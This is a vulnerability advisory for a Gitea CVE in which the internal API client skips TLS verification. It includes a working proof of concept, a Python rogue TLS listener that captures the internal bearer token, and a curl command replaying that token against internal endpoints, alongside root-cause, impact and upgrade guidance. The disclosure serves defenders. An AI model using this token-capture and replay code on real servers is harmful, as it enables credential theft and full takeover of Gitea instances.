CVE-2026-54481: Gitea Internal API Client Skips TLS Verification
Gitea's internal API HTTP client unconditionally trusts any TLS certificate, letting an attacker on the network intercept the high-privilege internal token and take full control of the Gitea server.
The problem
The HTTP transport in `modules/private/internal.go` hardcodes `InsecureSkipVerify: true` with no configuration override. This has been present since 2017.
When `LOCAL_ROOT_URL` uses HTTPS pointing to a non-loopback host (split-host, multi-pod, or separate SSH node), subprocesses like `gitea serv` and `gitea hook` connect back over a real network socket. Any on-path attacker can present a self-signed certificate and the client accepts it without complaint.
Every other outbound TLS client in Gitea (webhooks, migrations, MinIO, LDAP, SMTP, Redis, incoming-mail) exposes a configurable `SkipVerify` toggle and is secure by default. The internal API client is the sole exception.
Proof of concept
A working proof-of-concept for CVE-2026-54481 in code.gitea.io/gitea, with the exact payload below.
# Step 1: app.ini — route internal calls over HTTPS to an interceptable address
# [server]
# PROTOCOL = https
# LOCAL_ROOT_URL = https://127.0.0.1:8443/
# Step 2: run rogue TLS listener — accepts any connection, logs the token
# python3 rogue.py
import http.server, ssl, subprocess
subprocess.run([
"openssl","req","-x509","-newkey","rsa:2048",
"-keyout","k.pem","-out","c.pem",
"-days","1","-nodes","-subj","/CN=127.0.0.1"
], check=True)
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self): self._h()
def do_POST(self): self._h()
def _h(self):
auth = self.headers.get("X-Gitea-Internal-Auth", "")
if "Bearer" in auth:
print("[!] CAPTURED TOKEN:", auth.replace("Bearer ", ""))
self.send_response(200)
self.end_headers()
self.wfile.write(b'{"err":"","user_msg":""}')
def log_message(self, *a): pass
s = http.server.HTTPServer(("127.0.0.1", 8443), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("c.pem", "k.pem")
s.socket = ctx.wrap_socket(s.socket, server_side=True)
s.serve_forever()
# Step 3: trigger a real internal call — SSH git operation execs `gitea serv`,
# which calls LOCAL_ROOT_URL and sends the token to the rogue listener.
# git clone ssh://git@<host>:<port>/owner/repo.git
# Step 4: replay the captured token against any internal endpoint
# curl -k https://<gitea-host>:<port>/api/internal/manager/processes \
# -H "X-Gitea-Internal-Auth: Bearer <CAPTURED_TOKEN>"The root cause is CWE-295: `InsecureSkipVerify: true` is hardcoded in `internalAPITransport` inside `modules/private/internal.go`. The `ServerName` field only controls SNI, not validation, so it provides no safety net while the flag is set.
The captured token (`X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>`) is the sole credential for every `/api/internal/*` route. The server-side check (`authInternal`) does a constant-time string compare against `setting.InternalToken` and nothing else, so a stolen token grants unrestricted access: server shutdown, SSH key authorization, git command execution, hook control, mail send, and Actions runner-token generation.
The patch (PR #38406, v1.27.0) removes the hardcoded `InsecureSkipVerify: true` and aligns the internal client with the rest of the codebase, restoring proper peer certificate validation.
The fix
Upgrade to Gitea 1.27.0. The fix (PR #38406) removes the hardcoded `InsecureSkipVerify: true` from `modules/private/internal.go`, making the internal API transport validate TLS certificates the same way every other outbound client in the codebase does. If an immediate upgrade is not possible, ensure `LOCAL_ROOT_URL` uses a loopback address (`127.0.0.1` or `::1`) or a Unix socket, and restrict network access to the internal segment so on-path interception is not feasible.
Reported by sanil18.
Related research
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream